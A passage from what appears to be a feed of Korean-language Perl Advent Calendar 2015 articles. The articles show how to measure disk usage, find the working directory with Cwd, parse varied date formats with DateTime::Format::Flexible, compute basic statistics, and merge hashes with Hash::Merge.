<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Filesys::DiskUsage \
Filesys::DfPortable
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Filesys::DiskUsage \
Filesys::DfPortable
</pre>
<h2>파일 또는 디렉토리 사용량 알아내기</h2>
<p>다음과 같이 사용합니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use Filesys::DiskUsage qw/du/;
# 특정 파일이나 디렉토리의 용량
my $usage = du( '/Users/gypark/local/eclipse' );
# 여러 파일과 디렉토리의 용량 합
my $total = du( qw(file1 dir1 dir2) );
# 합 대신 각 용량들의 배열을 얻으려면
my @sizes = du( qw(file1 dir1 dir2) );
# 각 대상과 용량을 짝지은 해시를 얻으려면
my %sizes = du( { 'make-hash' => 1 }, qw(file1 dir1 dir2) );
# %sizes = (
# file1 => ...,
# dir1 => ...,
# dir2 => ...
# )
</pre>
<p>다만 이 모듈을 통해 얻어낸 값은, 셸에서 <code>du</code> 명령어를 써서 얻어낸 값과 정확히 일치하지는 않습니다.
셸의 <code>du</code> 명령어는 파일이 실제로 차지하는 디스크 블록의 크기를 출력하는데,
<code>Filesys::DiskUsage</code> 모듈이 파일의 크기를 계산할 때는 파일 자체의 바이트 크기를 가져오기 때문입니다.</p>
<p>자신이 사용하는 디스크의 할당 블록 크기는 다음과 같이 알 수 있습니다.</p>
<pre class="brush: bash;">
# 리눅스: blockdev --getbsz <검사하려는 장치>
# blockdev --getbsz /dev/mapper/VolGroup00-LogVol00
4096
# MacOSX: diskutil info <장치>
$ diskutil info / | grep 'Block Size'
Device Block Size: 512 Bytes
Allocation Block Size: 4096 Bytes
</pre>
<p>위의 경우는 리눅스와 맥 다 4096바이트를 기본 할당 블록의 크기로 사용하고 있습니다.
즉 우리가 1바이트짜리 파일을 만들어도, 그 파일은 디스크에서 4096바이트를 차지하게 됩니다.
이 값을 반영하고 싶으면 <code>sector-size</code> 옵션을 명시합니다.</p>
<pre class="brush: perl;">
my $alloc_size = du( { 'sector-size' => 4096 }, 'file1' );
</pre>
<p>이외에도 여러 옵션이 있습니다.
자세한 것은 <a href="https://metacpan.org/pod/Filesys::DiskUsage">모듈 문서</a>를 참고하세요. </p>
<h2>디스크의 남은 용량 확인하기</h2>
<p>다음과 같이 파일시스템의 전체 정보를 얻을 수 있습니다.
다음 코드는 모듈 문서에 있는 거의 그대로입니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use Filesys::DfPortable;
my $ref = dfportable('/');
if ( defined($ref) ) {
print "전체 바이트 : $ref->{blocks}\n";
print "미사용 바이트 : $ref->{bfree}\n";
print "가용 바이트 : $ref->{bavail}\n";
print "사용 바이트 : $ref->{bused}\n";
print "사용 퍼센테이지: $ref->{per}\n"
}
</pre>
<p>실행 결과는 다음과 같은 식입니다.</p>
<pre class="brush: bash;">
$ perl df.pl
전체 바이트 : 19632164864
미사용 바이트 : 4333805568
가용 바이트 : 3320463360
사용 바이트 : 15298359296
사용 퍼센테이지: 82
</pre>
<p>"미사용 바이트"와 "가용 바이트"가 따로 있고, 이 값은 서로 같지 않을 수 있습니다.
사용자 별로 디스크 쿼터가 할당되어 있거나 하면 자신이 쓸 수 있는 가용 바이트는
미사용 바이트보다 작아질 것입니다.</p>
<p><code>$ref</code> 해시 레퍼런스의 각 키에 해당하는 값들은(<code>{per}</code>를 제외하고) 기본 단위가 블록의 개수입니다.
그런데 한 블록 당 1바이트라고 상정한 상태에서 계산이 되므로, 결과적으로는 단위가 바이트인 것과 같습니다.</p>
<p><code>dfportable()</code> 함수의 두 번째 인자로 블록 크기를 지정해줄 수 있습니다.</p>
<pre class="brush: perl;">
use Filesys::DfPortable;
my $ref = dfportable('/', 1024); # 1KB
print "1KB 블록의 개수 : $ref->{blocks}\n";
</pre>
<p>"1KB 블록의 개수"란 것은 결국 크기를 KB 단위로 쓴 것과 같겠죠?</p>
<p>이 외에도 아이노드의 전체 개수, 사용 중인 아이노드의 개수 등을 알 수도 있습니다.
단 파일시스템에서 지원하는 경우에만 그렇습니다.
자세한 것은 <a href="https://metacpan.org/pod/Filesys::DfPortable">모듈 문서</a>를 참고하세요.</p>
<h2>정리하며</h2>
<p>물론 외부 명령을 이용해서도 디렉터리나 디스크 사용량을 알아낼 수 있고,
또 쉘 스크립트를 사용한다면 선택의 여지는 별로 없겠죠.
하지만 때에 따라서는 외부 프로세스를 실행하는 것이 불가능한
내부적 또는 외부적 이유가 있을 때도 있죠.
<a href="https://metacpan.org/pod/Filesys::DiskUsage">CPAN의 Filesys::DiskUsage 모듈</a>과
<a href="https://metacpan.org/pod/Filesys::DfPortable">CPAN의 Filesys::DfPortable 모듈</a>을 사용한다면
더이상 외부 명령어를 실행하고 그 출력을 정규식을 써서 추출하지 않아도 됩니다.
스크립트의 수행 속도가 빨라지는 것은 덤이랍니다. :-)</p>
2015-12-16T00:00:00+09:00gypark디스크 정보 - 현재 작업 디렉토리 알기, cwd와 getcwdhttp://advent.perl.kr/2015/2015-12-15.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>어떤 프로그램을 실행할 때, 시스템의 디스크 드라이브에 대해 이런 저런 정보를
얻어야 할 때가 있습니다. 그 중의 하나는 이 프로그램이 연결된
"작업 디렉토리(working directory)"입니다. 프로그램 내에서 파일 관련 연산을 할 때
상대 경로로 지정된 경로명은 모두 이 작업 디렉토리를 기준으로 동작하게 됩니다.
펄 스크립트 내에서는 <code>chdir</code> 내장 함수를 사용하여 작업 디렉토리를 변경할 수 있지만,
현재 작업 디렉토리가 어디인지를 알아내는 내장 함수(유닉스의 <code>pwd</code> 같은)는 따로 없습니다.
그러나 이 기능을 제공하는 모듈이 있습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="http://perldoc.perl.org/Cwd.html">Cwd 모듈</a></li>
</ul>
<p>이 모듈은 펄 배포본에 기본적으로 포함되어 있으니 별도로 설치할 필요는 없습니다.</p>
<h2>시작</h2>
<p>다음과 같이 사용합니다.</p>
<pre class="brush: perl;">
use Cwd;
# 프로토타이핑이 되어 있어 굳이 getcwd()라고 괄호를 쓰지 않아도 됨
my $dir = getcwd;
# 또는
my $dir = cwd;
</pre>
<p><code>$dir</code> 변수에는 <code>/home/gypark/temp/perl/cwd</code> 등과 같은 값이 들어갈 것입니다.</p>
<h2 id="cwdgetcwd">cwd와 getcwd의 차이?</h2>
<p>어째서 동일한 값을 반환하는 함수가 두 가지가 있는가? 사실은 동일한 값을 반환하지
않을 때가 있습니다. 예를 들어 심볼릭 링크가 연관되어 있을 때입니다.</p>
<p>다음과 같이 두 개의 디렉토리를 구성해봅시다.</p>
<pre class="brush: bash;">
[gypark cwd]$ mkdir orig
[gypark cwd]$ ln -s orig symlink
[gypark cwd]$ ls -l
rwxr-xr-x 2 gypark staff 68 12 14 14:13 orig/
lrwxr-xr-x 1 gypark staff 4 12 14 14:13 symlink@ -> orig
</pre>
<p>그리고 두 함수를 각각 출력하는 코드를 만듭니다.</p>
<pre class="brush: perl;">
use Cwd;
use 5.010;
say "cwd: ", cwd();
say "getcwd: ", getcwd();
</pre>
<p>이 코드를 <code>orig</code> 디렉토리와 <code>symlink</code> 디렉토리 안에서 각각 실행해보겠습니다.</p>
<pre class="brush: bash;">
[gypark cwd]$ cd orig
[gypark orig]$ perl ../cwd.pl
cwd: /Users/gypark/temp/cwd/orig
getcwd: /Users/gypark/temp/cwd/orig
[gypark orig]$ cd ../symlink
[gypark symlink]$ perl ../cwd.pl
cwd: /Users/gypark/temp/cwd/symlink
getcwd: /Users/gypark/temp/cwd/orig
</pre>
<p><code>cwd</code>는 심볼릭 링크의 이름을 그대로 출력합니다. 반면에 <code>getcwd</code>는 심볼릭 링크가 가리키고
있는 실제 디렉토리의 이름을 추적하여 출력합니다.</p>
<p>디렉토리 이름의 마지막 부분이 아니라 중간에 심볼릭 링크가 있을 때도 마찬가지입니다.</p>
<pre class="brush: bash;">
[gypark cwd]$ mkdir orig/sub
[gypark cwd]$ tree
.
|-- cwd.pl
|-- orig
| `-- sub
`-- symlink -> orig
[gypark cwd]$ cd orig/sub/
[gypark sub]$ perl ../../cwd.pl
cwd: /Users/gypark/temp/cwd/orig/sub
getcwd: /Users/gypark/temp/cwd/orig/sub
[gypark sub]$ cd ../../
[gypark cwd]$ cd symlink/sub/
[gypark sub]$ perl ../../cwd.pl
cwd: /Users/gypark/temp/cwd/symlink/sub
getcwd: /Users/gypark/temp/cwd/orig/sub
</pre>
<p><code>sub</code> 디렉토리까지 들어오는 도중에 <code>orig</code>이라는 실제 디렉토리를 거쳐 들어왔는지,
아니면 <code>symlink</code>라는 심볼릭 링크를 거쳐 왔는지에 따라서 <code>cwd</code>의 출력이 바뀌고 있습니다.</p>
<h2>절대 경로 알기</h2>
<p><code>Cwd</code> 모듈이 제공하는 함수 중에 <code>abs_path()</code>가 있습니다. 인자로 받은 경로명을
절대 경로로 바꾸어서 반환합니다. 인자가 없다면 현재 작업 디렉토리를 절대 경로로
반환합니다.</p>
<pre class="brush: perl;">
use 5.010;
use Cwd qw(abs_path); # abs_path는 명시적인 임포트 필요
say "absolute path of cwd.pl: ", abs_path('cwd.pl');
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
[gypark cwd]$ perl cwd.pl
absolute path of cwd.pl: /Users/gypark/temp/cwd/cwd.pl
</pre>
<p>이 때 조심할 점이 있습니다.
첫째, <code>abs_path</code>는 그저 인자로 받은 경로명을 절대 경로로 변환해 줄 뿐이고,
실제로 그 대상이 존재하는지 여부는 상관하지 않습니다.
둘째, <code>abs_path</code>는 <code>getcwd</code>와 마찬가지로 심볼릭 링크를 해석하여 링크가 가리키는
원래의 경로명을 반환합니다.</p>
<h2>정리하며</h2>
<ul>
<li>실행 중인 펄 스크립트의 "현재 작업 디렉토리"는 <code>Cwd</code> 모듈을 사용하여 알 수 있다.</li>
<li><code>cwd</code>와 <code>getcwd</code>는 대부분의 경우 동일한 값을 반환한다.</li>
<li>심볼릭 링크의 경우 <code>cwd</code>는 링크의 이름을 반환하고, <code>getcwd</code>는 그 링크가 가리키는
실제 디렉토리 이름을 반환한다.</li>
<li><code>abs_path</code>를 써서 어떤 경로명의 절대경로를 알 수 있다.</li>
</ul>
<h2>참고</h2>
<p>이 기사는 <a href="http://perlmaven.com">Perl Maven</a>의
<a href="http://perlmaven.com/pro/current-working-directory">Current working directory in Perl</a>
기사의 내용을 보강한 것입니다.</p>
2015-12-15T00:00:00+09:00gyparkCPAN에서 만남을 추구하면 안되는 걸까 Vol.2http://advent.perl.kr/2015/2015-12-14.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/JEEN_LEE">@JEEN_LEE</a> - 아들러 심리학 맹독중, 딸러도 좋아함</p>
<h2>시작하며</h2>
<p>업무에서 가장 빈번하게 접하는 데이터는 바로 <strong>날짜</strong>입니다.
날짜라면 단순한 데이터라고 할 수 있을텐데 현실 세계는 조금 더 잔인한 법입니다.
이런저런 사람들이 쏟아내는 날짜 형식이라고 부르는 데이터들은 아래와 같습니다.</p>
<pre class="brush: plain;">
2015-12-11
2015-12-11 13:00
2015-12-11 13:00:00
2015-12-11T13:00:00Z
2015-12-11T13:00:00.00
2015/12/11
20151211
20151211130000
2015년 12월 11일
...
</pre>
<p>그렇다면 우리는 어떤 자세로 이런 데이터들을 대해야 할까요?</p>
<h2>1. 정규표현식</h2>
<p>그렇습니다.
만고불변의 <code>@JEEN_LEE</code>인 정규표현식을 사용하는 것입니다.</p>
<pre class="brush: perl;">
my $date_str = "2015-12-11";
my ( $y, $m, $d ) = $str = ~ /^([\d]{4})-([\d]{2})-([\d]{2})$/;
</pre>
<p>하지만 위 코드의 약점을 아실 겁니다.
그건 바로... 이런 거죠.</p>
<p><img src="2015-12-14-1_r.jpg" alt="Month knuckle trick" id="monthknuckletrick" />
<em>그림 1.</em> Month knuckle trick (<a href="2015-12-14-1.jpg">원본</a>)</p>
<p>2월은 28일, 29일이 있고, 매달 올록볼록 엠보싱처럼 30일, 31일이 왔다합니다.
정규표현식으로 이런 것을 짜맞추는 것이 그렇게 어렵지는 않습니다.
그냥 그 규칙들을 생각하면서 차분히 정규표현식을 만들면 되겠죠.
이렇게 말입니다. :)</p>
<pre class="brush: perl;">
(?^:(?^:2015-(?:0(?:2-(?:0[123456789]|2[012345678]|1\d)|1-(?:0[123456789]|3[01]|1\d|2\d)|3-(?:0[123456789]|3[01]|1\d|2\d)|5-(?:0[123456789]|3[01]|1\d|2\d)|7-(?:0[123456789]|3[01]|1\d|2\d)|8-(?:0[123456789]|3[01]|1\d|2\d)|4-(?:0[123456789]|1\d|2\d|30)|6-(?:0[123456789]|1\d|2\d|30)|9-(?:0[123456789]|1\d|2\d|30))|1(?:0-(?:0[123456789]|3[01]|1\d|2\d)|2-(?:0[123456789]|3[01]|1\d|2\d)|1-(?:0[123456789]|1\d|2\d|30)))))
</pre>
<p>자, 위의 2015년 전용 날짜 정규표현식을 넣고 유효성까지 확인하면 깔끔하게 데이터를 얻을 수 있겠죠?</p>
<p><img src="2015-12-14-2_r.png" alt="괜찮은데?" id="" />
<em>그림 2.</em> 괜찮은데? (<a href="2015-12-14-2.png">원본</a>)</p>
<h2>2. 날짜 형식에 맞는 파싱 모듈을 사용</h2>
<p>조금 덩치가 크긴 하지만 세상에는 <a href="https://metacpan.org/pod/DateTime">DateTime</a>이라는
이름 그대로 날짜와 시간을 다루는 가장 유명한 모듈이 있습니다.
이 <code>DateTime</code>의 <code>DateTime::Format::*</code> 포맷팅 모듈을 사용해서
각각 데이터 형식에 맞는 파싱모듈을 준비합니다.
포맷팅에 맞는 결과들은 모두 <code>DateTime</code> 객체로 반환되니까 코드의 일관성을 유지하기 좋습니다.</p>
<p><code>2015-12-12 00:00:00</code>과 같은 형식이면 <code>DateTime::Format::MySQL</code>과 같은 모듈을 사용하고,
<code>20151212000000</code>과 같은 형식이면 <code>DateTime::Format::D?????</code>과 같은 모듈을 사용하도록
<code>if-elsif-elsif-elsif-elsif-elsif</code>의 향연을 펼치는 겁니다.</p>
<h2>3. 포맷 빌더를 사용해서 자체적인 포맷팅 모듈 만들기</h2>
<p>대개의 <code>DateTime::Format::*</code> 모듈들이 사용하고 있는 방법들입니다.</p>
<pre class="brush: perl;">
package DateTime::Format::Jeenlee;
use DateTime::Format::Builder
(
parsers => {
parse_datetime => [
{
params => [qw( year month day hour minute second )],
regex => qr/^...blahblah...$/,
},
{ ... },
],
},
);
</pre>
<p><code>parse_datetime</code>의 배열 레퍼런스 안에 위의 저 많은 케이스를 우겨넣는거죠.</p>
<h2>정리하...</h2>
<p>어떤가요? 이제 쉽게(!) 날짜를 다룰 수 있을 것 같죠?
어떤 날짜 데이터도 무섭지 않습니다.</p>
<p>...</p>
<p>바로 이 모듈과 함께라면 말이죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li>[CPAN의 DateTime::Format::Flexible 모듈][cpan-datetime-format-flexible]</li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan DateTime::Format::Flexible
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan DateTime::Format::Flexible
</pre>
<h2>이제부터 진면목</h2>
<p>놀랍게도 <code>DateTime::Format::Flexible</code> 하나로
처음에 제시한 여러가지 날짜 데이터를 단일코드로 처리할 수 있습니다.</p>
<pre class="brush: perl;">
use v5.22;
use DateTime::Format::Flexible;
my @dates = (
"2015-12-11",
"2015-12-11 00:00",
"2015-12-11 00:00:00",
"2015-12-11T00:00:00",
"2015/12/11",
"20151211",
"20151211000000"
);
for my $date_str (@dates) {
my $dt = DateTime::Format::Flexible->parse_datetime($date_str);
say $dt;
}
</pre>
<p>뿐만 아니라 어느 정도 자연스러운 날짜 표현도 <strong>어느 정도</strong> 다룰 수 있습니다.</p>
<pre class="brush: plain;">
now/tomorrow/yesterday
2 months ago/2 days ago/ 2 minutes ago
...
</pre>
<p><code>parse_datetime</code> 인자로 앞의 예제 값을 넣으면 그에 맞는 <code>DateTime</code> 객체가 반환됩니다.</p>
<pre class="brush: perl;">
DateTime::Format::Flexible->parse_datetime('2 hours ago');
</pre>
<p>그리고 이 모듈은 <code>DateTime::Format::Flexible::lang::*</code>로 각 언어별 확장의 여지를 남겨두고 있습니다.
<code>DateTime::Format::Flexible::lang::ko</code> 같은 걸 만들어서 올려놔도 되겠죠?</p>
<pre class="brush: perl;">
package DateTime::Format::Flexible::lang::ko;
use utf8;
use strict;
use warnings;
sub new {
my ( $class, %params ) = @_;
my $self = bless \%params, $class;
return $self;
}
sub months {
return (
qr{1월} => 1,
qr{2월} => 2,
qr{3월} => 3,
qr{4월} => 4,
qr{5월} => 5,
qr{6월} => 6,
qr{7월} => 7,
qr{8월} => 8,
qr{9월} => 9,
qr{10월} => 10,
qr{11월} => 11,
qr{12월} => 12,
);
}
sub days {
return (
qr{\b월요일\b} => 1, # Monday
qr{\b화요일\b} => 2, # Tuesday
qr{\b수요일\b} => 3, # Wednesday
qr{\b목요일\b} => 4, # Thursday
qr{\b금요일\b} => 5, # Friday
qr{\b토요일\b} => 6, # Saturday
qr{\b일요일\b} => 7, # Sunday
);
}
sub day_numbers {
return (
qr{1일} => 1,
qr{2일} => 2,
qr{3일} => 3,
qr{4일} => 4,
qr{5일} => 5,
qr{6일} => 6,
qr{7일} => 7,
qr{8일} => 8,
qr{9일} => 9,
qr{10일} => 10,
qr{11일} => 11,
qr{12일} => 12,
qr{13일} => 13,
qr{14일} => 14,
qr{15일} => 15,
qr{16일} => 16,
qr{17일} => 17,
qr{18일} => 18,
qr{19일} => 19,
qr{20일} => 20,
qr{21일} => 21,
qr{22일} => 22,
qr{23일} => 23,
qr{24일} => 24,
qr{25일} => 25,
qr{26일} => 26,
qr{27일} => 27,
qr{28일} => 28,
qr{29일} => 29,
qr{30일} => 30,
qr{31일} => 31,
);
}
sub hours {
return (
'정오' => '12:00:00',
'자정' => '00:00:00',
);
}
sub remove_strings {
return ();
}
sub parse_time {
my ( $self, $date ) = @_;
$date =~ s/(\d+)(?:년|월|일)/$1/g;
$date =~ s/[Xn ]//g;
return $date;
}
sub string_dates {
my $base_dt = DateTime::Format::Flexible->base;
return (
'지금' => sub { return $base_dt->datetime },
'오늘' => sub { return $base_dt->clone->truncate( to => 'day' )->ymd },
'내일' => sub { return $base_dt->clone->truncate( to => 'day' )->add( days => 1 )->ymd; },
'어제' => sub { return $base_dt->clone->truncate( to => 'day' ) ->subtract( days => 1 )->ymd; },
'모레' => sub { return DateTime->today->add( days => 2 )->ymd },
'내일모레' => sub { return DateTime->today->add( days => 2 )->ymd },
'글피' => sub { return DateTime->today->add( days => 3 )->ymd },
);
}
sub ago {
return qr{\b전\b}i;
}
sub math_strings {
return (
'년' => 'years',
'월' => 'months',
'개월' => 'months',
'일' => 'days',
'시' => 'hours',
'시간' => 'hours',
'분' => 'minutes',
);
}
sub timezone_map {
return ( KST => 'Asia/Seoul', );
}
</pre>
<p>네, 그래서 한번 끄적거려 봤습니다.
이걸 사용해서 한글 날짜 데이터를 받아서, 아래와 같이 사용할 수 있습니다.</p>
<pre class="brush: perl;">
DateTime::Format::Flexible->parse_datetime(
'2 개월 전',
lang => ['ko'],
); # 2016년 12월 11일/지금/내일/...
</pre>
<p><code>보름 전</code>이나 <code>이틀 후</code> 같은 다양한 표현도 받아들일 수 있게끔
하는 것도 괜찮겠다 싶습니다만, 아직은 그런 것들은 아니됩니다.
좀 더 확장의 여지가 남아있네요.
도전과제로 삼아보는 것도 좋을 듯 합니다.</p>
<h2>정리하며</h2>
<p>어떤가요? 뭔가 내 일자리를 CPAN에게 뺏기는 것은 아닌가 하는 생각이 들지 않나요?</p>
<p>사실 위의 <code>DateTime::Format::Flexible::lang::ko</code>는
그냥 대충 기사 써내기 위해서 대충 형식만 맞춘 것입니다.
좀 더 다듬어서 모듈 저자에게 패치를 보내는 것도 좋겠죠. :-)</p>
2015-12-14T00:00:00+09:00JEEN_LEE간단한 기본 통계http://advent.perl.kr/2015/2015-12-13.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>수치 배열을 가지고 작업을 하다보면 꽤 많은 경우 누계나 평균은 물론이고,
최댓값, 최솟값 등의 빈번하게 계산하기 마련입니다.
이런 기본적인 통계값을 생각 날때마다 반복문을 돌리며 연산하는 것은 번거로운 일이죠.
게으른 펄(Perl) 프로그래머에게 꼭 필요한 간단한 통계 모듈을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Statistics::Swoop">CPAN의 Statistics::Swoop 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Statistics::Swoop
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Statistics::Swoop
</pre>
<h2>사용법</h2>
<p>간단한 모듈이라고 소개는 했지만 <code>Statistics::Swoop</code> 모듈은 사용법도 정말 간단한데요.
모듈 적재 후 객체 생성시 배열 레퍼런스를 전달하는 것이 전부입니다.
코드를 살펴보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use v5.18; # say 사용
use strict;
use warnings;
use Statistics::Swoop;
my @list = 1 .. 100;
my $ss = Statistics::Swoop->new(\@list);
</pre>
<p>아니, 이게 끝이라구요? 넵! 그렇습니다.
객체 생성과 동시에 <code>Statistics::Swoop</code> 모듈은 다음과 같은 값을
자동으로 계산한 후 내부 객체에 저장해둡니다.</p>
<ul>
<li>개수</li>
<li>최댓값</li>
<li>최솟값</li>
<li>총합</li>
<li>평균</li>
<li>범위</li>
</ul>
<p>각각의 값을 접근하려면 메소드를 이용합니다.</p>
<pre class="brush: perl;">
say $ss->count; # 100
say $ss->max; # 100
say $ss->min; # 1
say $ss->sum; # 5050
say $ss->avg; # 50.5
say $ss->range; # 99
</pre>
<p>이 값들을 각각 구하는 것이 번거로울 분들을 위해 <code>result()</code> 메소드를 제공합니다.
<code>result()</code> 메소드를 사용하면 6개의 값을 키-값 형태인 해시 참조로 값을 반환합니다.</p>
<pre class="brush: perl;">
my $result = $ss->result;
say $result->{count}; # 100
say $result->{max}; # 100
say $result->{min}; # 1
say $result->{sum}; # 5050
say $result->{avg}; # 50.5
say $result->{range}; # 99
</pre>
<h2>정리하며</h2>
<p>총합 및 평균과 최댓값, 최솟값은 중학교 때면 배우는 매우 간단한 연산입니다.
그만큼 쉽지만 일상적으로 구하는 연산이기도 하구요.
더 복잡한 연산이 필요하면 모르겠지만 이정도 수준의 기본 통계값이 필요할 때
<a href="https://metacpan.org/pod/Statistics::Swoop">CPAN의 Statistics::Swoop 모듈</a>을 사용하면
여러분의 손가락이 조금이나마 더 편해질 것입니다.
게으름은 흘륭한 펄 프로그래머의 미덕이란 것 잊지 마세요!</p>
<blockquote>
<p>There are three great virtues of a programmer;</p>
<p>Laziness, Impatience and Hubris. - Larry Wall</p>
</blockquote>
<p>Enjoy Your Perl! ;-)</p>
<h2>참고자료</h2>
<p>조금 더 복잡한 통계값이 필요하다면 다음 모듈 역시도 놓치지 말고 살펴보세요.</p>
<ul>
<li><a href="https://metacpan.org/pod/Statistics::Basic">CPAN의 Statistics::Basic 모듈</a></li>
<li><a href="https://metacpan.org/pod/Statistics::Lite">CPAN의 Statistics::Lite 모듈</a></li>
<li><a href="https://metacpan.org/pod/Statistics::Descriptive">CPAN의 Statistics::Descriptive 모듈</a></li>
</ul>
<p><em>EOT</em></p>
2015-12-13T00:00:00+09:00keedi두 해시 합치기http://advent.perl.kr/2015/2015-12-12.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>펄(Perl)에서 <a href="https://en.wikipedia.org/wiki/Hash_function">해시(hash)</a>는 무척 유용한 자료구조입니다.
스크립트 언어의 가장 큰 특징이자 장점 중 하나는 배열이나 해시와 같은
복잡한 자료구조를 추가적인 라이브러리 적재없이 언어 내부에 구현해서
간단히 사용할 수 있다는 점입니다.
이러다보니 자연스럽게 계층적 자료인 경우 해시를 사용해서 저장하게 되는데
사용하다 보면 두 해시의 자료를 합쳐야 할 경우가 종종 있습니다.
단순한 해시라면 고민없이 해결하겠지만, 깊은 자료구조를 가진 해시라면
한참을 고민하거나 결국 합치는 루틴을 만들어야 하곤 합니다.
이런 류의 일은 꽤나 빈번하며, 역시 우리의 펄 선배들은
비슷한 생각을 하고 이미 바퀴를 발명해놓았지요.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Hash::Merge">CPAN의 Hash::Merge 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Hash::Merge
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Hash::Merge
</pre>
<h2>사용법</h2>
<p><code>Hash::Merge</code> 모듈은 <code>merge()</code> 함수를 지원합니다.
우선 모듈 적재시 <code>merge()</code> 함수를 명시해서 이름공간(namespace) 지정없이 사용할 수 있도록 합니다.
물론 명시하지 않아도 <code>Hash::Merge::merge()</code>처럼 이름공간을 명시해서 사용해도 됩니다.</p>
<pre class="brush: perl;">
use Hash::Merge qw( merge );
</pre>
<p>이제 유사하지만 조금은 다른 두 해시인 <code>%conf1</code>과 <code>%conf2</code>를 만듭니다.</p>
<pre class="brush: perl;">
my %conf1 = (
time_zone => 'Asia/Seoul',
category => {
jacket => { str => '상의', price => 10000 },
pants => { str => '바지', price => 10000 },
shirt => { str => '와이셔츠', price => 5000 },
shoes => { str => '구두', price => 5000 },
tie => { str => '넥타이', price => 2000 },
},
);
my %conf2 = (
theme => 'ace',
category => {
jacket => { str => '재킷', price => 10000 },
shirt => { str => '셔츠', price => 5000 },
shoes => { str => '신발', price => 5000 },
skirt => { str => '치마', price => 10000 },
tie => { str => '넥타이', price => 2000 },
},
);
</pre>
<p>합치는 법은 정말 간단합니다.
<code>%conf1</code> 해시와 <code>%conf2</code> 해시를 합쳐보죠.</p>
<pre class="brush: perl;">
my %merged_conf = %{ merge( \%conf1, \%conf2 ) };
</pre>
<p>합친 결과 해시를 풀어본 결과를 코드로 표현하면 다음과 같습니다.</p>
<pre class="brush: perl;">
my %merged_conf1 = (
time_zone => 'Asia/Seoul',
theme => 'ace',
category => {
jacket => { str => '상의', price => 10000 },
pants => { str => '바지', price => 10000 },
shirt => { str => '와이셔츠', price => 5000 },
shoes => { str => '구두', price => 5000 },
skirt => { str => '치마', price => 10000 },
tie => { str => '넥타이', price => 2000 },
},
);
</pre>
<p>잘 살펴보면 <code>%conf2</code> 해시에 있던 <code>theme</code> 키와 <code>category.skirt</code> 키에
해당하는 값이 추가됨을 확인할 수 있습니다.
즉 <code>%conf1</code> 해시의 값을 기준으로 <code>%conf2</code>의 값이 추가되되,
동일한 키의 값이 있을 경우 <code>%conf1</code>의 값을 유지한 것이죠.
호출할 때 <code>%conf1</code>, <code>%conf2</code>의 순서로 매개변수를 사용했기 때문에
<code>Hash::Merge</code>는 기본적으로는 왼쪽 해시 값을 우선함을 알 수 있습니다.
오른쪽 해시 값을 우선하려면 <code>set_behavior()</code> 함수를 이용합니다.</p>
<pre class="brush: perl;">
Hash::Merge::set_behavior('RIGHT_PRECEDENT');
my %merged_conf = %{ merge( \%conf1, \%conf2 ) };
</pre>
<p><code>'RIGHT_PRECEDENT'</code>를 사용하면 오른쪽 해시를 우선하며,
아무것도 지정하지 않을 경우 기본값으로 <code>'LEFT_PRECEDENT'</code> 값을 사용합니다.
문서에는 <code>set_behavior()</code> 함수 대신 <code>set_set_behavior()</code> 함수로
표시하기도 했는데 이는 오타이니 조심하세요.
